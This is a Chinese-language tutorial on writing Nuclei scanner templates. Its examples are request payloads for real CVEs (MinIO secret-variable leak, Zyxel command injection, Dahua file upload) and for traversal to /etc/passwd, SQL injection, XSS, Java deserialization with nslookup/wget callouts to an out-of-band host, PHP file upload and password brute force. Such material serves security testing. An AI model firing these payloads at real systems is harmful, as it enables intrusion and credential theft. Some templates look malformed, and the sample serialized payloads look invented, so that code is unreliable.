nuclei模板编写总结

news/2024/10/18 11:58:40/文章来源:https://www.cnblogs.com/backlion/p/18326684

一、脚本的语法格式

  • 大小写敏感
  • 缩进:使用缩进表示层级关系,YAML 使用空格进行缩进,通常每个缩进级别为两个空格
  • 键值对:YAML 通过键值对来存储数据,键和值之间用冒号 : 分隔。
  • 列表:使用短横线 -来表示列表中的项。
  • 注释:以 # 开头的行是注释。
  • 字符串:字符串可以不使用引号,也可以使用单引号或双引号
  • id不能有中文、特殊字符、--以及空格等内容,id这个参数,您可以理解为是输出的标题,一个简单易懂的ID,可以让您更快的判断出
  • info:信息块,名称 、 作者 、 严重性 、 描述 、参考和 标签 ,这些都属于信息块的范围,一般情况下,我们只需要写入名称、作者、严重性、描述、标签这几项即可
  • name:模板名称,这个建议跟id相同即可
  • severity:严重性,这里不可以使用中文,一般用critical、hight、Medium、info来表示威胁等级
  • description:漏洞介绍,这里可以使用中文,也不限制特殊字符,一般是用来做漏洞介绍用的,可以方便使用者了解该漏洞的具体说明
  • tags:标签,是为了给漏洞加一个标签,方便进行统一扫描,例如:tags: seeyon(切记不要用中文哈)
  • 日常编写nuclei的yaml脚本,nuclei内置cookie-reuse属性,在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。
  • 如果匹配失败的话可以使用-debug来获取请求包和返回包进行调试,使用Burp抓包直接将请求包内容粘贴即可

二、Nuclei常用命令

 1.验证模板格式
 nuclei -t test.yaml --validate
 2.指定模板和目标
 nuclei -t test.yaml -u http://exam.com
 3.批量扫描
 nuclei -t test.yaml -l target.txt
 4.指定socks5代理扫描
 nuclei -t test.yaml -u http://exam.com -p socks5://127.0.0.1:7890
 

三、脚本示例

 id: file-include   #模板的唯一标识符
 info:   #包含模板的基本信息,如名称、作者、版本等
  name: file include                         #脚本的名字
  author: bakclion                   #模板作者
  severity: high                         #安全级别 可选的有 info, low, medium, high, critical, unknown
  description: 用于测试靶场的nuclei模板   #描述模板内容
  reference: http://www.baidu.com       #参考来源
  tags: test                             #分类的标签
 requests: #定义了如何与目标进行交互的请求部分
  - method: GET #HTTP 方法,如 GET 或 POST
    path: #请求的路径
      - "{{BaseURL}}/vul/dir/dir_list.php?title=../../../../../../../etc/passwd"
    headers: #请求头
        User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
    matchers:
      - type: status #匹配回包状态
        status:
          - 200
      - type: regex #匹配返回内容
        part: body
        regex:
          - "root:x:0:0:root:/root:/bin/bash"

四、脚本组成

1.开头

 id: landray-oa-fileread
 
 info:
  name: landray-oa-fileread
  author: backlion
  severity: high
  description: |
    蓝凌OA custom.jsp 任意文件读取漏洞,这个OA遇到的比较少
    FOFA: app="Landray-OA系统"
  reference: https://github.com/backslion
  tags: fileread,landray

2.请求

Get
 requests:
  - method: GET
    path:
      - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties"
POST
 requests:
  - method: POST
    path:
      - "{{BaseURL}}/sys/ui/extend/varkind/custom.jsp"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: 'var={"body":{"file":"file:///etc/passwd"}}'
RAW
 requests:
  - raw:
      - |
        POST /ispirit/interface/gateway.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
 
        json={"url":"/general/../../mysql5/my.ini"}
跳转
   - method: GET
    path:
      - "{{BaseURL}}"
    redirects: true
    max-redirects: 2
     
    或者
     
     
 requests:
  - raw:
      - |
        GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1
        redirects: true
          max-redirects: 3
路径

请求的下一部分是请求的路径。动态变量可以放置在路径中以在运行时修改其行为。变量以开头{{和}}结尾并且区分大小写。

 {{Hostname}}:这是一个常用的保留字,表示主机名。
 {{randstr}}:这是一个随机字符串。
 {{rand_int(1,9999)}}:这是一个生成 1 到 9999 之间随机整数的保留字。
 {{BaseURL}}:表示完整的基本 URL,例如 https://example.com:443/foo/bar.php。
 {{RootURL}}:表示不包含路径和文件的基本 URL,例如 https://example.com:443。
 {{Host}}:表示主机名,例如 example.com。
 {{Port}}:表示端口号,例如 443。
 {{Path}}:表示路径,例如 /seeyon/login。
 {{File}}:表示文件名,例如 bar.php。
 {{Scheme}}:表示协议,例如 https。
 {{hex_decode("")}}:这是一个十六进制解码的保留字。
 md5():这是一个 MD5 转换的保留字
 Variable  Value
 {{BaseURL}} https://example.com:443/foo/bar.php
 {{RootURL}} https://example.com:443
 {{Hostname}} example.com:443
 {{Host}} example.com
 {{Port}} 443
 {{Path}} /foo
 {{File}} bar.php
 {{Scheme}} https

stop-at-first-match

大意就是一个模板里有多个扫描路径,当第一个命中时,自动停止后面几个路径的扫描,当然这个不会影响其他模板.

 requests:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/login"
      - "{{BaseURL}}/main"
      - "{{BaseURL}}/index"
 
    stop-at-first-match: true
     
OOB

自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描。就像 {{interactsh-url}} 在请求中的任何位置编写并为添加匹配器一样简单 interact_protocol。Nuclei 将处理交互作用与模板的相关性,以及通过允许轻松进行 OOB 扫描而生成的请求的相关性。

 requests:
  - raw:
      - |
        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
JAVA反序列化
 raw:
  -  |
    POST /index.faces;jsessionid=x HTTP/1.1
    Host: {{Hostname}}
    Accept-Encoding: gzip, deflate
    Content-Length: 1882
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
 
    javax.faces.ViewState={{generate_java_gadget("commons_collection3.1", "nslookup {{interact.sh}}", "base64")}}

3.匹配器

 matchers-condition: and #对多个匹配器的匹配结果进行逻辑运算:and|or,AND是同时满足条件
 matchers:
  - type: dsl #匹配器类型 <status|word|size|binary|regex|dsl>
    dsl: #使用 DSL 语法进行数据匹配(!注:更加灵活,复杂匹配,推荐使用) <StringSlice>
      - "status_code_1 == 200 && status_code_2 == 302"
      - 'all_headers_1 == "admin" && all_headers_2 == "index"'
    condition: and #需要同时满足上面两个条件
 
  - type: word
    words: #返回包匹配文本(!!!注:word类型此处较为特殊,需要使用words做匹配项录入) <StringSlice>
      - "admin.php"
      - "61646d696e2e706870"
      - "{{match_str}}"
    encoding: hex #编码器,对返回提取数据进行编码后对word内容进行匹配(!!!注:仅支持word匹配器,暂仅只支持hex) <hex>
     #以下设置,基本通用(!!!注:除dsl类型)
    part: header #读取返回数据的区域 <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注:dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用>
    condition: or #匹配结果逻辑运算 <and|or>
    negative: true #对匹配结果进行取反操作,结合condition可实现更为灵活的组合方式 <true|false>
 
  - type: status
    status: #与匹配器类型一致,当前为返回包状态码 <intSlice>,200或302
      - 200
 
  - type: regex
    regex: #使用正则进行数据匹配 <StringSlice>
      - '.*\admin.php.*'
 
  - type: binary
    binary: #使用二进制进行数据匹配 <StringSlice>
      - "61646d696e2e706870"
 
  - type: size
    size: #返回包数据大小(注:通指body数据) <intSlice>
      - 1234

dsl 一般用于复杂的逻辑判断,其中包含以下内置函数。

变量名描述例子输出数据
content_length内容长度标头content_length12345
status_code响应状态代码status_code200
all_headers返回 header 信息
body返回 body 信息body_1
header_name返回 header 的 key value 信息,全小写,且-替换为_user_agentxxxx
header_name返回 header 的 key value 信息,全小写,且-替换为_set_cookiexxx=xxxx
raw原始的返回信息(标头+响应)raw
duration请求响应时间duration5

如:

 #检查响应的大小是否大于1000字节
 matchers:
  - size: ">1000"
 
 #匹配包含 “error” 关键词的响应
 matchers:
  - word: "error"
 
 #匹配响应中的版本号:
 matchers:
  - regex: "Version: (\\d+\\.\\d+\\.\\d+)"
   
 #如果期望响应的前两个字节是 0x01 0x02:
 matchers:
  - binary: "0102"
 
 #匹配 HTTP 响应码为 200 的情况:
 matchers:
  - dsl: "response_code == 200"

4.Session

在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。

 # cookie-reuse accepts boolean input and false as default
 cookie-reuse: true

4.提取器

 #提取器,对返回数据进行提取,用于再利用及发送至控制台进行显示或使用,语法与匹配器相似
 extractors:
  - type: regex #提取器类型 <regex|json|kval|xpath|dsl>
    regex: #使用regex语法进行数据提取(!注:推荐使用) <StringSlice>
      - "token:(.*) "
    group: 1 #特定regex使用,0是完全匹配,1-N为获取分组数据(!!!注:注意长度须符合正则分组长度) <Int>
    #以下设置,基本通用
    part: body #设置提取数据的区域 <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注:dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用>
    name: token #设置当前提取数据存储变量名 <String>
    internal: true #设置将提取器用作动态变量,防止发送控制台后变量清空 <true|false>
 
  - type: json
    json: #基于 JSON 的响应中提取数据 <StringSlice>
      - ".token"
 
  - type: kval
    kval: #从响应标头/Cookie 中提取key: value/key=value格式化数据(!!!注:kval提取器不接受破折号-作为输入,必须替换为下划线_) <StringSlice>
      - "set_cookie"
      - "PHPSESSID"
 
  - type: xpath
    xpath: #从 HTML 响应中提取基于 xpath 的数据 <StringSlice>
      - "/html/body/div/p[2]/a"
    attribute: href #特定xpath使用,要提取的属性值,可选
 
  - type: dsl
    dsl: #使用 DSL 表达式从响应中提取数据
      - "len(body)

如:

 extractors:
  - regex: #正则表达式提取
      pattern: "Version: (\\d+\\.\\d+\\.\\d+)"
      target: version
 
 extractors:#json提取
  - json:
      path: .user.name
      target: username
       
 extractors:#xpath提取
  - xpath:
      expression: //img/@src
      target: image_url
         

5.Nuclei 内置函数

辅助函数描述例子输出数据
base64(src interface{}) stringBase64 对字符串进行编码base64("Hello")SGVsbG8=
base64_decode(src interface{}) []byteBase64 对字符串进行解码base64_decode("SGVsbG8=")[72 101 108 108 111]
base64_py(src interface{}) string像 python 一样将字符串编码为 base64(带有新行)base64_py("Hello")SGVsbG8=\n
concat(arguments …interface{}) string连接给定数量的参数以形成一个字符串concat("Hello", 123, "world)Hello123world
compare_versions(versionToCheck string, constraints …string) bool将第一个版本参数与提供的约束进行比较compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')true
contains(input, substring interface{}) bool验证字符串是否包含子字符串contains("Hello", "lo")true
generate_java_gadget(gadget, cmd, encoding interface{}) string生成 Java 反序列化小工具generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}", "base64")
gzip(input string) string使用 GZip 压缩输入gzip("Hello")
gzip_decode(input string) string使用 GZip 解压缩输入gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))Hello
zlib(input string) string使用 Zlib 压缩输入zlib("Hello")
zlib_decode(input string) string使用 Zlib 解压缩输入zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))Hello
date(input string) string返回格式化的日期字符串date("%Y-%M-%D")2022-05-01
time(input string) string返回格式化的时间字符串time("%H-%M")22-12
timetostring(input int) string返回格式化的 unix 时间字符串timetostring(1647861438)2022-03-21 16:47:18 +0530 IST
hex_decode(input interface{}) []byte十六进制解码给定的输入hex_decode("6161")aa
hex_encode(input interface{}) string十六进制编码给定的输入hex_encode("aa")6161
html_escape(input interface{}) stringHTML 转义给定的输入html_escape("test")test
html_unescape(input interface{}) stringHTML 取消转义给定的输入html_unescape("<body>test</body>")test
len(arg interface{}) int返回输入的长度len("Hello")5
md5(input interface{}) string计算输入的 MD5(消息摘要)哈希md5("Hello")8b1a9953c4611296a827abf8c47804d7
mmh3(input interface{}) string计算输入的 MMH3 (MurmurHash3) 哈希mmh3("Hello")316307400
print_debug(args …interface{})打印给定输入或表达式的值。用于调试。print_debug(1+2, "Hello")[INF] print_debug value: [3 Hello]
rand_base(length uint, optionalCharSet string) string从可选字符集生成给定长度字符串的随机序列(默认为字母和数字)rand_base(5, "abc")caccb
rand_char(optionalCharSet string) string从可选字符集中生成随机字符(默认为字母和数字)rand_char("abc")a
rand_int(optionalMin, optionalMax uint) int在给定的可选限制之间生成一个随机整数(默认为 0 - MaxInt32)rand_int(1, 10)6
rand_text_alpha(length uint, optionalBadChars string) string生成给定长度的随机字母字符串,不包括可选的割集字符rand_text_alpha(10, "abc")WKozhjJWlJ
rand_text_alphanumeric(length uint, optionalBadChars string) string生成一个给定长度的随机字母数字字符串,没有可选的割集字符rand_text_alphanumeric(10, "ab12")NthI0IiY8r
rand_text_numeric(length uint, optionalBadNumbers string) string生成给定长度的随机数字字符串,没有可选的不需要的数字集rand_text_numeric(10, 123)0654087985
regex(pattern, input string) bool针对输入字符串测试给定的正则表达式regex("H([a-z]+)o", "Hello")true
remove_bad_chars(input, cutset interface{}) string从输入中删除所需的字符remove_bad_chars("abcd", "bc")ad
repeat(str string, count uint) string重复输入字符串给定的次数repeat("../", 5)../../../../../
replace(str, old, new string) string替换给定输入中的给定子字符串replace("Hello", "He", "Ha")Hallo
replace_regex(source, regex, replacement string) string替换与输入中给定正则表达式匹配的子字符串replace_regex("He123llo", "(\\d+)", "")Hello
reverse(input string) string反转给定的输入reverse("abc")cba
sha1(input interface{}) string计算输入的 SHA1(安全哈希 1)哈希sha1("Hello")f7ff9e8
sha256(input interface{}) string计算输入的 SHA256(安全哈希 256)哈希sha256("Hello")185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
to_lower(input string) string将输入转换为小写字符to_lower("HELLO")hello
to_upper(input string) string将输入转换为大写字符to_upper("hello")HELLO
trim(input, cutset string) string返回一个输入切片,其中包含在 cutset 中的所有前导和尾随 Unicode 代码点都已删除trim("aaaHelloddd", "ad")Hello
trim_left(input, cutset string) string返回一个输入切片,其中包含在 cutset 中的所有前导 Unicode 代码点都已删除trim_left("aaaHelloddd", "ad")Helloddd
trim_prefix(input, prefix string) string返回没有提供的前导前缀字符串的输入trim_prefix("aaHelloaa", "aa")Helloaa
trim_right(input, cutset string) string返回一个字符串,其中包含在 cutset 中的所有尾随 Unicode 代码点都已删除trim_right("aaaHelloddd", "ad")aaaHello
trim_space(input string) string返回一个字符串,删除所有前导和尾随空格,由 Unicode 定义trim_space(" Hello ")“Hello”
trim_suffix(input, suffix string) string返回没有提供的尾随后缀字符串的输入trim_suffix("aaHelloaa", "aa")aaHello
unix_time(optionalSeconds uint) float64返回当前 Unix 时间(自 1970 年 1 月 1 日 UTC 以来经过的秒数)以及添加的可选秒数unix_time(10)1639568278
url_decode(input string) stringURL 解码输入字符串url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")
url_encode(input string) stringURL 对输入字符串进行编码url_encode("https://test.com?id=1")
wait_for(seconds uint)暂停执行给定的秒数wait_for(10)true
to_number(input string) float64将数字型字符串转换为 float64 类型to_number("123456")123456
to_string(input interface{}) string将数据转换为字符串类型to_string(123456)“123456”
rand_ip(input string)根据输入网段随机返回一个 ip 地址rand_ip("192.168.1.1/24")

五、脚本案例

 id: CVE-2023-28432 
 
 info:
  name: MinIO集群模式信息泄露漏洞
  author: kecy
  severity: medium
  description: |
    MinIO是一个开源对象存储系统。在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
  reference:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
  tags: minio,cve,cve2023
 
 http:
  - raw:
      - |
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
        Connection: close
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 0
 
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'MINIO_SECRET_KEY'
          - 'MINIO_ROOT_PASSWORD'
        condition: and
 
      - type: status
        status:
          - 200

 id: CVE-2022-30525
 
 info:
  name: Zyxel 防火墙未经身份验证的远程命令注入
  author: kecy
  severity: high
  description: |
    CVE-2022-30525中,Zyxel防火墙版本的CGI程序中,由于对某些传入的特殊数据处理存在错误,攻击者在未经身份验证的情况下通过构造恶意数据进行系统命令注入攻击,修改特定文件,最终执行任意代码。
  reference:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
  tags: Zyxel,cve,cve2022
 
 http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
        Content-Type: application/json
        Connection: close
         
        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
     
    payloads:
      exploit:
        - ";ping -c 3 {{interactsh-url}};"
 
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
 id: CVE-2023-3836 #模板的唯一标识符
 
 info: #模板的基本信息
  name: Dahua Smart Park Management - Arbitrary File Upload #模板的名称
  author: HuTa0 #模板作者名
  severity: critical #漏洞的严重程度
  description: | #漏洞的详细描述
    Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
  remediation: | #修复建议,可以不写
    Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
  reference: #漏洞相关的参考链接
    - https://github.com/qiuhuihk/cve/blob/main/upload.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
    - https://vuldb.com/?ctiid.235162
    - https://vuldb.com/?id.235162
  classification: #漏洞的分类信息,包括CVSS评分、CVE-ID、CWE-ID等
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3836
    cwe-id: CWE-434
    epss-score: 0.04304
    epss-percentile: 0.91215
    cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
  metadata: #额外的元数据信息
    verified: true
    max-request: 2
    vendor: dahuasecurity
    product: smart_parking_management
    shodan-query: html:"/WPMS/asset"
    zoomeye-query: /WPMS/asset
  tags: cve,cve2023,dahua,fileupload,intrusive,rce #模板的标签
 variables:
  random_str: "{{rand_base(6)}}" #生成一个随机的6位字符串
  match_str: "{{md5(random_str)}}" #对生成的随机字符串进行MD5哈希,以便在后续请求中进行匹配
 
 http:
  - raw:
      - |
        POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
        Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Host: {{Hostname}}
 
        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
        Content-Type: application/octet-stream
        Content-Transfer-Encoding: binary
 
        {{match_str}}
        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
      - |
        GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
        Host: {{Hostname}}
 
    matchers:#匹配器
      - type: dsl #dsl: 定义了两个DSL匹配条件,要求两个条件都必须满足(使用condition: and)
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2, '{{match_str}}')"
        condition: and
 
    extractors: #提取器
      - type: regex #使用正则表达式进行提取
        name: shell_filename #提取的名称,内部使用
        internal: true
        part: body_1 #提取响应的哪个部分,这里是body_1(第一个请求的响应体)
        regex:
          - 'ico_res_(\w+)_on\.jsp' #提取规则,这里是正则表达式'ico_res_(\w+)_on\.jsp'

六、典型场景

1.命令执行

 id: remote-command-execution  #模板的唯一标识符
 
 info: #包含关于模板的基本信息
  name: Remote Command Execution #模板的名称
  author: backlion #模板作者的名称
  severity: critical #漏洞的严重程度
  description: | ##描述模板内容
    默默存在远程命令执行漏洞
    FOFA: app="Landray-OA系统"
  reference: https://github.com/backslion #参考来源
  tags: rce, remote, command, execution #标签,用于标记模板的类型或用途
 
 requests: #定义了用于测试的HTTP请求,这里可以用http代替
  - raw: #原始HTTP请求数据
      - |
        POST /vulnerable-endpoint HTTP/1.1 #请求方法和URL
        Host: {{Hostname}} #目标主机名
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 50
 
        cmd=whoami
    matchers: #定义了如何判断响应是否表示漏洞存在
      - type: word #匹配规则为关键字
        words: #响应中预期包含的关键词
          - "root"
          - "admin"
          - "user"
        part: body   # 检查响应的body
 
    extractors: #定义了如何从响应中提取有用的信息
      - type: regex #提取正则表达式
        regex: #用于匹配响应中有用信息的正则表达式,比如root|admin|user
          - "root|admin|user"
        part: body #从响应的哪个部分提取信息,这里是body(响应体)
         
 批量检查:
 nuclei -t rce-template.yaml -l url.txt
 

2.sql延时注入

 id: sql-time-based-injection
 
 info:
  name: SQL Time-Based Injection
  author: bakclion
  severity: high
  tags: sql, sqli, time-based, injection
 
 requests:
  - raw:
      - |
        GET /vulnerable-endpoint?id=1%20AND%20IF(1=1,SLEEP(5),0) HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - response.time > 5000
 
  - raw:
      - |
        GET /vulnerable-endpoint?id=1%20AND%20IF(1=2,SLEEP(5),0) HTTP/1.1
        Host: {{Hostname}}
    matchers: #匹配器的类型,这里是dsl
      - type: dsl #自定义匹配规则,通过DSL(领域特定语言)来描述匹配逻辑
        dsl:
          - response.time < 5000

3.任意文件读取

 id: arbitrary-file-read
 
 info:
  name: Arbitrary File Read
  author: backlion
  severity: high
  tags: file-read, lfi, rfi, arbitrary-read
 
 requests:
  - raw:
      - |
        GET /vulnerable-endpoint?file=/etc/passwd HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "root:x:0:0:"   # /etc/passwd中典型的root用户行
        part: body
 
  - raw:
      - |
        GET /vulnerable-endpoint?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "127.0.0.1"   # Windows hosts文件中典型的内容
        part: body

4.跨站脚本攻击

 id: reflected-xss
 
 info:
  name: Reflected Cross-Site Scripting
  author: backlion
  severity: high
  tags: xss, reflected
 
 requests:
  - raw:
      - |
        GET /vulnerable-endpoint?input=<script>alert('XSS')</script> HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "<script>alert('XSS')</script>"
        part: body
 
  - raw:
      - |
        GET /vulnerable-endpoint?input=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "<script>alert('XSS')</script>"
        part: body

5.反序化

 id: deserialization-vulnerability
 
 info:
  name: Deserialization Vulnerability
  author: backlion
  severity: high
  tags: deserialization, rce
 
 requests:
  - raw:
      - |
        POST /vulnerable-endpoint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-java-serialized-object
        Content-Length: 112
 
        rO0ABXNyABNqYXZhLnV0aWwuSGFzaE1hcBv7h1vlAAAAAAFMAARrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAAR2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyABFqYXZhLmxhbmcuSGFzaE1hcBVzRlfdMzNFwAIAAUwABGNsb2NrSABMTGphdmEvbGFuZy9DbG9jaztMABBtYXBfZXhwbG9yZXJ0ABBMamF2YS91dGlsL01hcDt4cHcEAAAAAHh0ABR3b3Jrc0ZpbmUAAA== # This is a simple example payload
    matchers:
      - type: word
        words:
          - "java.util.HashMap"
        part: body
 
  - raw:
      - |
        POST /vulnerable-endpoint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-java-serialized-object
        Content-Length: 116
 
        rO0ABXNyABFqYXZhLnV0aWwuQXJyYXlMaXN0JTDnUphBOwGAAeEdAAZpblRhbmxlUgxBZXguU3lzdGVtcxkAAA0BAAF4cHcEAAAAAHhxAH4AAQ== # This is another example payload
    matchers:
      - type: word
        words:
          - "java.util.ArrayList"
        part: body

6.文件上传

 id: file-upload-php-execution
 
 info:
  name: File Upload and PHP Execution Vulnerability
  author: backlion
  severity: critical
  tags: file-upload, php, execution
 
 requests:
  - raw:
      - |
        POST /vulnerable-endpoint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Length: 251
 
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="file"; filename="shell.php"
        Content-Type: application/x-php
 
        <?php echo 'Vulnerable'; unlink(__FILE__); ?>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--
 
    matchers:
      - type: word
        words:
          - "File uploaded successfully"
        part: body
 
  - raw:
      - |
        GET /uploads/shell.php HTTP/1.1
        Host: {{Hostname}}
 
    matchers:
      - type: word
        words:
          - "Vulnerable"
        part: body
 
 也可以用:
 <?php echo md5('漏洞编号');unlink(__FILE__); ?>

7.弱密码

 id: weak-password-dictionary
 
 info:
  name: Weak Password Detection with Dictionary
  author: backlion
  severity: high
  tags: weak-password, authentication, login
 
 requests:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      payloads:
        usernames: "{{usernames.txt}}"
        passwords: "{{passwords.txt}}"
      matchers-condition: and
      matchers:
        - type: word
          words:
            - "Welcome"
            - "Dashboard"
          part: body
      attack: pitchfork
      generators:
        - name: username
          type: template
          templates:
            - "{{usernames}}"
        - name: password
          type: template
          templates:
            - "{{passwords}}"
      request:
        - |
          POST /login HTTP/1.1
          Host: {{Hostname}}
          Content-Type: application/x-www-form-urlencoded
          Content-Length: {{len "username=admin&password=admin"}}
 
          username={{username}}&password={{password}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/772515.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

进度报告9

(1)1.学习string和arraylist集合的使用2.案例练习

在python3.8虚拟环境 执行pip 安装Excel的库

1、在开始菜单 打开Anaconda prompt(anaconda3) 2、查看环境列表 3、进入虚拟环境 4、在虚拟换进下使用清华源安装读取excel的库 和写入excel的库 读取Excel文件的库:pip install xlrd -i https://pypi.tuna.tsinghua.edu.cn/simple 写入Excel文件的库:pip install xlwt …

51nod-基因匹配+luogu-【模板】最长公共子序列

https://www.luogu.com.cn/problem/P1439 https://class.51nod.com/Html/Textbook/ChapterIndex.html#textbookId=126&chapterId=338 以上两个都是特例,一个是每个元素不重复,一个是每个元素均有5个。正确性说明参考:https://www.luogu.com.cn/article/1bcs9052 由于一般…

大语言模型的Scaling Law:如何随着模型大小、训练数据和计算资源的增加而扩展

人工智能的世界正在经历一场革命,大型语言模型正处于这场革命的前沿,它们似乎每天都在变得更加强大。从BERT到GPT-3再到PaLM,这些AI巨头正在推动自然语言处理可能性的边界。但你有没有想过是什么推动了它们能力的飞速提升? 在这篇文章中,我们将介绍使这些模型运作的秘密武…

教你如何管理Linux网络,一招鲜吃遍天?!

01 准备工作 当前操作的虚拟机版本信息:CentOS8 当前操作的虚拟化软件:VMware workstation 由于虚拟化软件中有3种网络模式,我们这里选择使用NAT模式 提前查看虚拟机的网段信息是多少,方便我们后续配置网络能够有效使用在配置网络之前您需要了解一些基础知识: 在给Linux系…

使用iwctl连接无线网络

检查wifi模块驱动是否正确 ip addr #输出的信息查看是否 包含‘w’开头的网卡安装iwd这里使用iwd管理WiFi,主要原因是小巧,方便使用无需额外配置# 安装 apt install iwd # 设置开机启动 systemctl enable --now iwd # 查看无线网卡 iwctl device list# 扫描并获取无线网络 iw…

Hisiphp2.0.11的文件上传

php第二个复现漏洞,危险函数PclZip()侵权声明 本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。 如果您是版权持有人,并且认为您的作品被侵犯,请通过以…

直播系统,利用关联规则实现推荐算法

直播系统,利用关联规则实现推荐算法关联规则是以规则的方式呈现直播系统之间的相关性:关联规则(Association Rules)是反映一个事物与其他事物之间的相互依存性和关联性,是数据挖掘的一个重要技术,用于从大量数据中挖掘出有价值的数据项之间的相关关系。关联规则的经典例子是…

项目经理的新伙伴:性能出众的进度管理软件

国内外主流的10款项目进度管理软件对比:PingCode、Worktile、Teambition、石墨文档(Shimo Docs)、Tower、有道云协作、Monday.com、Asana、Airtable、Notion。在管理任何项目时,及时准确地跟踪进度是至关重要的,但在琳琅满目的项目管理软件中找到最合适的一款却常常令人头…

mysqldump: Got error: 1066: Not unique table/alias: act_evt_log when using LOCK TABLES

先说解决办法:执行下面语句 mysqldump -ushooter -p123123 --single-transaction fd>fd.sqllower_case_table_names区分大小写设置 注意:此参数不可以动态修改,必须重启数据库 1 2 3 41、参数含义: lower_case_table_names = 1 表名存储在磁盘是小写的,但是比较的时候…

解决--SecureCRT乱码问题

